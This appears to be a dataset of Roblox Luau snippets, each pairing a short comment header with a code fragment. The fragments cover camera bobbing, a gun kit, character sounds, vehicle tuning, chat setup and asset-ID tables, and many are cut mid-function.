local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)
return newLookCFrame
end
function BaseCamera:CalculateNewLookVectorFromArg(suppliedLookVector, rotateInput)
local newLookCFrame = self:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput)
return newLookCFrame.lookVector
end
function BaseCamera:CalculateNewLookVectorVRFromArg(rotateInput)
local subjectPosition = self:GetSubjectPosition()
local vecToSubject = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p)
local currLookVector = (vecToSubject * X1_Y0_Z1).unit
local vrRotateInput = Vector2.new(rotateInput.x, 0)
local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local yawRotatedVector = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector
return (yawRotatedVector * X1_Y0_Z1).unit
end
function BaseCamera:GetHumanoid()
local character = player and player.Character
if character then
local resultHumanoid = self.humanoidCache[player]
if resultHumanoid and resultHumanoid.Parent == character then
return resultHumanoid
else
self.humanoidCache[player] = nil -- Bust Old Cache
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidCache[player] = humanoid
end
return humanoid
end
end
return nil
end
function BaseCamera:GetHumanoidPartToFollow(humanoid, humanoidStateType)
if humanoidStateType == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
|
-- ROBLOX note: this flowtype built-in is derived from the object shape returned by forwardRef
|
export type React_AbstractComponent<Config, Instance> = {
["$$typeof"]: number,
render: ((props: Config, ref: React_Ref<Instance>) -> React_Node)?,
displayName: string?,
defaultProps: Config?,
-- not in React flowtype, but is in definitelytyped and is used in ReactElement
name: string?,
-- allows methods to be hung on a component, used in forwardRef.spec regression test we added
[string]: any,
}
|
--// ------------------------------- //--
--// Don't edit anything below here! //--
--// ------------------------------- //--
|
local camera = game.Workspace.CurrentCamera
local character = game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local Z = 0
local damping = (character.Humanoid.WalkSpeed / 2) * GENERAL_DAMPING
local PI = 3.1415926
local tick = PI / 2
local running = false
local strafing = false
humanoid.Strafing:Connect(function(bool)
strafing = bool
end)
humanoid.Jumping:Connect(function()
running = false
end)
humanoid.Swimming:Connect(function()
running = false
end)
humanoid.Running:Connect(function(speed)
if speed > 0.1 then
running = true
else
running = false
end
end)
local function mix(par1, par2, factor)
return par2 + (par1 - par2) * factor
end
while true do
game:GetService("RunService").RenderStepped:Wait()
fps = (camera.CFrame.p - character.Head.Position).Magnitude
if fps < 0.52 then
Z = 1
else
Z = 0
end
if running == true and strafing == false then
tick = tick + humanoid.WalkSpeed / 92
else
if tick > 0 and tick < PI / 2 then
tick = mix(tick, PI / 2, 0.9)
end
if tick > PI / 2 and tick < PI then
tick = mix(tick, PI / 2, 0.9)
end
if tick > PI and tick < PI * 1.5 then
tick = mix(tick, PI * 1.5, 0.9)
end
if tick > PI * 1.5 and tick < PI * 2 then
tick = mix(tick, PI * 1.5, 0.9)
end
end
if tick >= PI * 2 then
tick = 0
end
camera.CFrame = camera.CFrame *
CFrame.new(math.cos(tick) / damping * OFFSET_DAMPING, math.sin(tick * 2) / (damping * 2 * OFFSET_DAMPING), Z) *
CFrame.Angles(0, 0, math.sin(tick - PI * 1.5) / (damping * 15 * TILT_DAMPING)) --Set camera CFrame
end
|
-------------------------
|
function tween(prop,object,val,tm)
local tweenInfo = TweenInfo.new(tm, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false)
local goal = {}
goal[prop] = val
local a = ts:Create(object, tweenInfo, goal)
a:Play()
end
function rad(x)
local open = x and 0 or 0.5
HUB:TweenPosition(UDim2.new(open-0.5, 0, 1, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.25,true)
radio:TweenPosition(UDim2.new(0-open, 0, 1, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.25,true)
end
function swap()
if mode == 2 then
mode = 0
rad(true)
else mode = mode + 1
rad(false)
end
HUB.Windows:TweenPosition(UDim2.new(0, 0, mode-2,3),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
HUB.Misc:TweenPosition(UDim2.new(0, 0, mode-1,3),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
|
-- Initialization
|
Storage = Instance.new('Folder', game.Workspace)
local StorageFolder = Instance.new('ObjectValue', Tool.Configuration)
StorageFolder.Value = Storage
StorageFolder.Name = 'StorageFolder'
RocketTemplate = script.Rocket
RocketTemplate.Parent = nil
RocketTemplate.PrimaryPart.BodyForce.force = Vector3.new(0,196.2,0) * (RocketTemplate.PrimaryPart:GetMass() + RocketTemplate.Part:GetMass())
|
--- Alias for DoCleaning()
-- @function Destroy
|
Maid.Destroy = Maid.DoCleaning
return Maid
|
--------------------------------------------------------------------------------------
--------------------[ CONSTANTS ]-----------------------------------------------------
--------------------------------------------------------------------------------------
|
local Gun = script.Parent
local serverMain = Gun:WaitForChild("serverMain")
local Handle = Gun:WaitForChild("Handle")
local AimPart = Gun:WaitForChild("AimPart")
local Main = Gun:WaitForChild("Main")
local Ammo = Gun:WaitForChild("Ammo")
local ClipSize = Gun:WaitForChild("ClipSize")
local StoredAmmo = Gun:WaitForChild("StoredAmmo")
local createTweenIndicator = serverMain:WaitForChild("createTweenIndicator")
local deleteTweenIndicator = serverMain:WaitForChild("deleteTweenIndicator")
local getWeldCF = serverMain:WaitForChild("getWeldCF")
local gunSetup = serverMain:WaitForChild("gunSetup")
local lerpCF = serverMain:WaitForChild("lerpCF")
local createBlood = serverMain:WaitForChild("createBlood")
local createBulletImpact = serverMain:WaitForChild("createBulletImpact")
local createShockwave = serverMain:WaitForChild("createShockwave")
local createTrail = serverMain:WaitForChild("createTrail")
local Particle = require(script:WaitForChild("Particle"))
local Spring = require(script:WaitForChild("Spring"))
local Anims = require(Gun:WaitForChild("ANIMATIONS"))
local Plugins = require(Gun:WaitForChild("PLUGINS"))
local S = require(Gun:WaitForChild("SETTINGS"))
local Player = game.Players.LocalPlayer
local Char = Player.Character
local Humanoid = Char:WaitForChild("Humanoid")
local Torso = Char:WaitForChild("Torso")
local Head = Char:WaitForChild("Head")
local HRP = Char:WaitForChild("HumanoidRootPart")
local Root = HRP:WaitForChild("RootJoint")
local Neck = Torso:WaitForChild("Neck")
local LArm = Char:WaitForChild("Left Arm")
local RArm = Char:WaitForChild("Right Arm")
local LLeg = Char:WaitForChild("Left Leg")
local RLeg = Char:WaitForChild("Right Leg")
local M2 = Player:GetMouse()
local mainGUI = script:WaitForChild("mainGUI")
local crossHair = mainGUI:WaitForChild("crossHair")
local HUD = mainGUI:WaitForChild("HUD")
local Scope = mainGUI:WaitForChild("Scope")
local fireSelect = mainGUI:WaitForChild("fireSelect")
local hitMarker = mainGUI:WaitForChild("hitMarker")
local Sens = mainGUI:WaitForChild("Sens")
local crossA = crossHair:WaitForChild("A"):WaitForChild("Line")
local crossB = crossHair:WaitForChild("B"):WaitForChild("Line")
local crossC = crossHair:WaitForChild("C"):WaitForChild("Line")
local crossD = crossHair:WaitForChild("D"):WaitForChild("Line")
local Controls = HUD:WaitForChild("Controls")
local gunNameTitle = HUD:WaitForChild("gunName"):WaitForChild("Title")
local scopeMain = Scope:WaitForChild("Main")
local scopeSteady = Scope:WaitForChild("Steady")
local fireModes = fireSelect:WaitForChild("Modes")
local modeGUI = HUD:WaitForChild("Mode"):WaitForChild("Main")
local clipAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Clip")
local storedAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Stored")
local DS = game:GetService("Debris")
local CP = game:GetService("ContentProvider")
local RS = game:GetService("RunService")
local UIS = game:GetService("UserInputService")
local Cam = game.Workspace.CurrentCamera
local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil
local RAD, SIN, COS, TAN = math.rad, math.sin, math.cos, math.tan
local VEC2, V3 = Vector2.new, Vector3.new
local CF, CFANG = CFrame.new, CFrame.Angles
local INSERT = table.insert
local maxStamina = S.sprintTime * 60
local maxSteadyTime = S.scopeSettings.steadyTime * 60
local LethalIcons = {
"http://www.roblox.com/asset/?id=194849880";
"http://www.roblox.com/asset/?id=195727791";
"http://www.roblox.com/asset/?id=195728137";
"http://www.roblox.com/asset/?id=218151830";
}
local TacticalIcons = {
"http://www.roblox.com/asset/?id=195728473";
"http://www.roblox.com/asset/?id=195728693";
}
local ASCII = {
071; 117; 110; 032;
075; 105; 116; 032;
115; 099; 114; 105;
112; 116; 101; 100;
032; 098; 121; 032;
084; 117; 114; 098;
111; 070; 117; 115;
105; 111; 110; 000;
}
local Ignore = {
Char;
ignoreModel;
}
local Shoulders = {
Right = Torso:WaitForChild("Right Shoulder");
Left = Torso:WaitForChild("Left Shoulder")
}
local armC0 = {
CF(-1.5, 0, 0) * CFANG(RAD(90), 0, 0);
CF(1.5, 0, 0) * CFANG(RAD(90), 0, 0);
}
local legC0 = {
Stand = {
CF(-0.5, -2, 0);
CF(0.5, -2, 0);
};
Crouch = {
CF(-0.5, -1.5, 0.5) * CFANG(-RAD(90), 0, 0);
CF(0.5, -1, -0.75);
};
Prone = {
CF(-0.5, -2, 0);
CF(0.5, -2, 0);
};
}
local Sine = function(X)
return SIN(RAD(X))
end
local Linear = function(X)
return (X / 90)
end
|
--[[ Local Functions ]]
|
--
local function getHumanoid()
local character = LocalPlayer and LocalPlayer.Character
if character and character.Parent then
if CachedHumanoid and CachedHumanoid.Parent == character then
return CachedHumanoid
else
CachedHumanoid = nil
for _,child in pairs(character:GetChildren()) do
if child:IsA('Humanoid') then
CachedHumanoid = child
return CachedHumanoid
end
end
end
end
end
|
-- Objects
|
local displayMap = { {1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1}, -- 0
{0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1}, -- 1
{1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1}, -- 2
{1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1}, -- 3
{1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1}, -- 4
{1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1}, -- 5
{1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1}, -- 6
{1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1}, -- 7
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, -- 8
{1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1} } -- 9
local blankPattern = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
local error_E = {1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1}
local error_R = {0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0}
local noon_A = {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1}
local noon_P = {1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0}
local lightingService = game:GetService("Lighting")
local minsAfterMidnightVar = script.Parent.MinutesAfterMidnight
local msPerUpdateVar = script.MillisecondsPerUpdate
local isOnVar = script.Parent.isOn
local prevIsOn = true
local screen = script.Parent.Display.SurfaceGui.Screen
local hrsTens = script.Parent.Display.SurfaceGui.Screen.Hours10
local hrsOnes = script.Parent.Display.SurfaceGui.Screen.Hours1
local minsTens = script.Parent.Display.SurfaceGui.Screen.Minutes10
local minsOnes = script.Parent.Display.SurfaceGui.Screen.Minutes1
local noon = script.Parent.Display.SurfaceGui.Screen.Noon
|
--Wheelie tune
|
local WheelieD = 8
local WheelieTq = 100
local WheelieP = 15
local WheelieMultiplier = 1.5
local WheelieDivider = 1
|
--SFX ID to Sound object
|
local Sounds = {}
do
local Figure = script.Parent.Parent
Head = Figure:WaitForChild("Head")
Humanoid = Figure:WaitForChild("Humanoid")
Sounds[SFX.Died] = Head:WaitForChild("Died")
Sounds[SFX.Running] = Head:WaitForChild("Running")
Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
Sounds[SFX.Landing] = Head:WaitForChild("Landing")
Sounds[SFX.Splash] = Head:WaitForChild("Splash")
end
local Util
Util = {
--Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this like at x.
YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
--(y - y1)/(x - x1) = m
local m = (pt1y - pt2y) / (pt1x - pt2x)
--float b = pt1.y - m * pt1.x;
local b = (pt1y - m * pt1x)
return m * x + b
end;
--Clamps the value of "val" between the "min" and "max"
Clamp = function(val,min,max)
return math.min(max,math.max(min,val))
end;
--Gets the horizontal (x,z) velocity magnitude of the given part
HorizontalVelocityMagnitude = function(Head)
local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
return hVel.magnitude
end;
--Gets the vertical (y) velocity magnitude of the given part
VerticalVelocityMagnitude = function(Head)
return math.abs(Head.Velocity.Y)
end;
--Checks if Sound.Playing is usable
SoundIsV2 = function(sound)
return sound.IsLoaded
end;
--Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
--If these properties are enabled, use them.
Play = function(sound)
if Util.SoundIsV2(sound) then
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
if not sound.IsPlaying then
sound.Playing = true
end
else
sound:Play()
end
end;
Pause = function(sound)
if Util.SoundIsV2(sound) then
if sound.IsPlaying then
sound.Playing = false
end
else
sound:Pause()
end
end;
Resume = function(sound)
if Util.SoundIsV2(sound) then
if not sound.IsPlaying then
sound.Playing = true
end
else
sound:Resume()
end
end;
Stop = function(sound)
if Util.SoundIsV2(sound) then
if sound.IsPlaying then
sound.Playing = false
end
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
else
sound:Stop()
end
end;
}
do
-- List of all active Looped sounds
local activeLoopedSounds = {}
-- Last seen Enum.HumanoidStateType
local activeState = nil
-- Verify and set that the sound's .Looped property is the value of "looped"
function verifyAndSetLoopedForSound(sound, looped)
if sound.Looped ~= looped then
sound.Looped = looped
end
end
-- Verify and set that "sound" is in "activeLoopedSounds".
function setSoundInActiveLooped(sound)
for i=1, #activeLoopedSounds do
if activeLoopedSounds[i] == sound then
return
end
end
table.insert(activeLoopedSounds,sound)
end
-- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
function stopActiveLoopedSoundsExcept(except)
for i=#activeLoopedSounds,1,-1 do
if activeLoopedSounds[i] ~= except then
Util.Pause(activeLoopedSounds[i])
table.remove(activeLoopedSounds,i)
end
end
end
-- Table of Enum.HumanoidStateType to handling function
local stateUpdateHandler = {
[Enum.HumanoidStateType.Dead] = function()
stopActiveLoopedSoundsExcept()
local sound = Sounds[SFX.Died]
verifyAndSetLoopedForSound(sound,false)
Util.Play(sound)
end;
[Enum.HumanoidStateType.RunningNoPhysics] = function()
stateUpdated(Enum.HumanoidStateType.Running)
end;
[Enum.HumanoidStateType.Running] = function()
local sound
local ray = Ray.new(Head.Position,Vector3.new(0,-15,0))
local part1,pos1,norm1,mat1 = workspace:FindPartOnRay(ray,Head.Parent)
if mat1 == Enum.Material.Water then
sound = Sounds[SFX.Swimming]
if activeState ~= Enum.HumanoidStateType.Swimming then
activeState = Enum.HumanoidStateType.Swimming
local splashSound = Sounds[SFX.Splash]
splashSound.Volume = .1
Util.Play(splashSound)
end
else
if activeState == Enum.HumanoidStateType.Swimming then
local splashSound = Sounds[SFX.Splash]
splashSound.Volume = .1
Util.Play(splashSound)
end
sound = Sounds[SFX.Running]
activeState = Enum.HumanoidStateType.Running
end
verifyAndSetLoopedForSound(sound,true)
stopActiveLoopedSoundsExcept(sound)
if Util.HorizontalVelocityMagnitude(Head) > 0.5 then
if not sound.IsPlaying then
Util.Resume(sound)
end
setSoundInActiveLooped(sound)
else
stopActiveLoopedSoundsExcept()
end
end;
[Enum.HumanoidStateType.Swimming] = function()
if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalVelocityMagnitude(Head) > 0.1 then
local splashSound = Sounds[SFX.Splash]
splashSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalVelocityMagnitude(Head),
100, 0.28,
350, 1),
0,1)
Util.Play(splashSound)
end
do
local sound = Sounds[SFX.Swimming]
verifyAndSetLoopedForSound(sound,true)
stopActiveLoopedSoundsExcept(sound)
if not sound.IsPlaying then
Util.Resume(sound)
end
setSoundInActiveLooped(sound)
end
end;
[Enum.HumanoidStateType.Climbing] = function()
local sound = Sounds[SFX.Climbing]
verifyAndSetLoopedForSound(sound,true)
if Util.VerticalVelocityMagnitude(Head) > 0.1 then
if not sound.IsPlaying then
Util.Resume(sound)
end
stopActiveLoopedSoundsExcept(sound)
else
stopActiveLoopedSoundsExcept()
end
setSoundInActiveLooped(sound)
end;
[Enum.HumanoidStateType.Jumping] = function()
if activeState == Enum.HumanoidStateType.Jumping then
return
end
local ray = Ray.new(Head.Position,Vector3.new(0,-15,0))
local part1,pos1,norm1,mat1 = workspace:FindPartOnRay(ray,Head.Parent)
local splashSound = Sounds[SFX.Splash]
if mat1 and mat1 == Enum.Material.Water then
splashSound.Volume = .1
Util.Play(splashSound)
end
stopActiveLoopedSoundsExcept()
local sound = Sounds[SFX.Jumping]
verifyAndSetLoopedForSound(sound,false)
Util.Play(sound)
end;
[Enum.HumanoidStateType.GettingUp] = function()
stopActiveLoopedSoundsExcept()
local sound = Sounds[SFX.GettingUp]
verifyAndSetLoopedForSound(sound,false)
Util.Play(sound)
end;
[Enum.HumanoidStateType.Freefall] = function()
if activeState == Enum.HumanoidStateType.Freefall then
return
end
local sound = Sounds[SFX.FreeFalling]
if sound.Volume ~= 0 then
sound.Volume = 0
end
stopActiveLoopedSoundsExcept()
end;
[Enum.HumanoidStateType.FallingDown] = function()
stopActiveLoopedSoundsExcept()
end;
[Enum.HumanoidStateType.Landed] = function()
stopActiveLoopedSoundsExcept()
if Util.VerticalVelocityMagnitude(Head) > 75 then
local landingSound = Sounds[SFX.Landing]
landingSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalVelocityMagnitude(Head),
50, 0,
100, 1),
0,1)
Util.Play(landingSound)
end
end
}
-- Handle state event fired or OnChange fired
function stateUpdated(state)
if stateUpdateHandler[state] ~= nil then
stateUpdateHandler[state]()
end
local ray = Ray.new(Head.Position,Vector3.new(0,-15,0))
local part1,pos1,norm1,mat1 = workspace:FindPartOnRay(ray,Head.Parent)
if mat1 and mat1 == Enum.Material.Water then
return
else
activeState = state
end
end
-- Runs on heartbeat
function onHeartbeat(step)
local stepScale = step / (1/60.0)
do
local sound = Sounds[SFX.FreeFalling]
if activeState == Enum.HumanoidStateType.Freefall then
if Head.Velocity.Y < 0 and Util.VerticalVelocityMagnitude(Head) > 75 then
if not sound.IsPlaying then
Util.Resume(sound)
end
if sound.Volume < 1 then
sound.Volume = Util.Clamp(sound.Volume + 0.01 * stepScale,0,1)
end
else
if sound.Volume ~= 0 then
sound.Volume = 0
end
end
else
if sound.IsPlaying then
Util.Pause(sound)
end
end
end
do
local sound = Sounds[SFX.Running]
if activeState == Enum.HumanoidStateType.Running then
if sound.IsPlaying and Util.HorizontalVelocityMagnitude(Head) < 0.5 then
Util.Pause(sound)
end
end
end
end
Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end)
Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end)
Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end)
Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
-- required for proper handling of Landed event
Humanoid.StateChanged:connect(function(old, new)
stateUpdated(new)
end)
game:GetService('RunService').Heartbeat:connect(onHeartbeat)
end
|
--// UI Tween Info
|
local L_165_ = TweenInfo.new(
1,
Enum.EasingStyle.Sine,
Enum.EasingDirection.Out,
0,
false,
0
)
local L_166_ = {
TextTransparency = 1
}
|
-- Get references to the Dock frame and its children
|
local dock = script.Parent.Parent.DockShelf
local click = script.Click
local buttons = {}
for _, child in ipairs(dock:GetChildren()) do
if child:IsA("ImageButton") then
table.insert(buttons, child)
end
end
|
--Power Front Wheels
|
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.insert(Drive,v) end end end
|
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.
|
local FFlagUserHandleChatHotKeyWithContextActionService = false do
local ok, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService")
end)
if ok then
FFlagUserHandleChatHotKeyWithContextActionService = value
end
end
local FFlagUserHandleFriendJoinNotifierOnClient = false
do
local success, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserHandleFriendJoinNotifierOnClient")
end)
if success then
FFlagUserHandleFriendJoinNotifierOnClient = value
end
end
local FILTER_MESSAGE_TIMEOUT = 60
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")
local ContextActionService = game:GetService("ContextActionService")
local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))
local ChatLocalization = nil
|
-- This file was @generated by Tarmac. It is not intended for manual editing.
|
return {
Calendar = "rbxassetid://8915045287",
Caret = "rbxassetid://8915045496",
Close = "rbxassetid://8915045615",
Clothing = "rbxassetid://8915045766",
Eye = "rbxassetid://8915045943",
Gamepad = {
ButtonA = "rbxassetid://8712691282",
ButtonB = "rbxassetid://8712691429",
ButtonL1 = "rbxassetid://8712691596",
ButtonL2 = "rbxassetid://8712691753",
ButtonR1 = "rbxassetid://8712691861",
ButtonR2 = "rbxassetid://8712691936",
ButtonX = "rbxassetid://8712692030",
ButtonY = "rbxassetid://8712692150",
DPadDown = "rbxassetid://8712692266",
DPadLeft = "rbxassetid://8712692372",
DPadRight = "rbxassetid://8712692480",
DPadUp = "rbxassetid://8712692563",
},
Info = "rbxassetid://8915046089",
KeyBacking = "rbxassetid://9589929509",
RadioButtonInner = "rbxassetid://9589830458",
RadioButtonOuter = "rbxassetid://9589830610",
Robux = "rbxassetid://8915046254",
Rotation = "rbxassetid://8915046440",
ShoppingCart = "rbxassetid://8915046573",
Sparkle = "rbxassetid://8915046721",
Timer = "rbxassetid://8915046889",
}
|
-- setup emote chat hook
--Game.Players.LocalPlayer.Chatted:connect(function(msg)
-- local emote = ""
-- if (string.sub(msg, 1, 3) == "/e ") then
-- emote = string.sub(msg, 4)
-- elseif (string.sub(msg, 1, 7) == "/emote ") then
-- emote = string.sub(msg, 8)
-- end
--
-- if (pose == "Standing" and emoteNames[emote] ~= nil) then
-- playAnimation(emote, 0.1, Humanoid)
-- end
---- print("===> " .. string.sub(msg, 1, 3) .. "(" .. emote .. ")")
--end)
| |
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("White",Paint)
end)
|
--FlyScript...Build in PlaneFlyer
|
script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Values.On.Changed:connect(function()
if(script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Values.On.Value == true) then
local engine = script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Engine
local position = engine.Position
bv = engine.BodyVelocity
bv.velocity = Vector3.new(0,0,0)
while on do
wait(.1)
speed = engine.Speed.Value
spd = (speed/100)*5
dir = engine.CFrame.lookVector
VertSpd = engine.VerticalSpeed.Value
bv.velocity = dir * (spd*0.422*50)+Vector3.new(0,(VertSpd)+(spd),0)
if(script.Parent.Parent.Parent.Character:findFirstChild("Plane").Parts.Values.On.Value == false) then break end
end
end
end)
function getBullet(Type)
local founddd = false
for _,v in pairs(vParts:GetChildren()) do
if v.Name == Type then
fireB(Type,v)
founddd = true
end
end
end
function getairtoground(mousetar,Type)
if mousetar == nil then return end
local as = mousetar.Parent
for i=1,math.huge do
if (as.className == "Part") or (as.className == "WedgePart") and (as.Parent ~= vParts) or (as.Parent ~=vParts.Parent.Body) then break end
if as == workspace then return end
as = as.Parent
end
local foundtar = false
if(Type.Name == "Launch1") or(Type.Name == "Launch2") then
v = Type
fireHo(v,mousetar)
foundtar = true
end
end
function Getmissile(Type)
if(plane:findFirstChild(Type)~= nil) then
if(plane:findFirstChild(Type).className == "Part") then
if(Type == "LaunchA") then
if(hydra.left ~= 0) then
hydra.left = hydra.left -1
fire(plane.Parent,plane:findFirstChild("LaunchA"))
end
elseif(Type == "LaunchB") then
if(hydra.right ~= 0) then
hydra.right = hydra.right -1
fire(plane.Parent,plane:findFirstChild("LaunchB"))
end
end
end
end
end
|
--[[Weight and CG]]
|
Tune.Weight = 4000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- local grid = scroller:WaitForChild("UIGridLayout")
|
local function GetGuiObjects()
local objs = {}
local c = scroller:GetChildren()
for i=1, #c do
local o = c[i]
if o:IsA("GuiObject") then
table.insert(objs,o)
end
end
return objs
end
-- updates the CanvasSize based on the amount of frames in the frame, along with
local function Update()
scroller.CanvasSize = UDim2.new(0,only_y and 0 or layout.AbsoluteContentSize.X,0,layout.AbsoluteContentSize.Y + 25)
end
connections[scroller] = {
layout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(Update),
scroller.AncestryChanged:Connect(function()
if not scroller.Parent then
AutoCanvasSize.Disconnect(scroller)
end
end),
scroller.ChildAdded:Connect(function()
spawn(Update) -- it appears the child does not get added until the connection returns (or something of that effect)
-- so, we spawn the Update so it is inclusive of the new child.
end),
scroller.ChildRemoved:Connect(Update)
}
Update()
end
return AutoCanvasSize
|
--!strict
|
local Sift = script.Parent.Parent
local _T = require(Sift.Types)
|
--Enter the name of the model you want to go to here.
------------------------------------
|
modelname="tele1"
|
--Made by Luckymaxer
|
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
Character = script.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Smoke = script:FindFirstChild("Smoke")
function DestroyScript()
Debris:AddItem(script, 0.5)
end
if not Smoke or not Humanoid or Humanoid.Health > 0 then
return
end
PartsEffected = {}
for i, v in pairs(Character:GetChildren()) do
if v:IsA("BasePart") and v.Transparency < 1 then
v.Velocity = (v.Velocity + (CFrame.Angles((math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01)).lookVector * math.random(1, 5)))
v.RotVelocity = Vector3.new((math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01), (math.random(-360, 360) * 0.01))
for ii, vv in pairs(v:GetChildren()) do
if vv:IsA("ParticleEmitter") then
vv:Destroy()
end
end
local SmokeEffect = Smoke:Clone()
SmokeEffect.Enabled = true
SmokeEffect.Parent = v
table.insert(PartsEffected, {Part = v, Smoke = SmokeEffect})
end
end
FadeLoop = RunService.Stepped:connect(function(Time, Step)
if #PartsEffected == 0 then
if FadeLoop then
FadeLoop:disconnect()
return
end
else
for i, v in pairs(PartsEffected) do
if v.Part.Transparency < 1 then
v.Part.Transparency = (v.Part.Transparency + 0)
if v.Part.Transparency >= 1 then
v.Smoke.Enabled = false
Debris:AddItem(v.Part, 4)
end
else
table.remove(PartsEffected, i)
end
end
end
end)
|
-- setup emote chat hook
|
Game.Players.LocalPlayer.Chatted:connect(function(msg)
local emote = ""
if (string.sub(msg, 1, 3) == "/e ") then
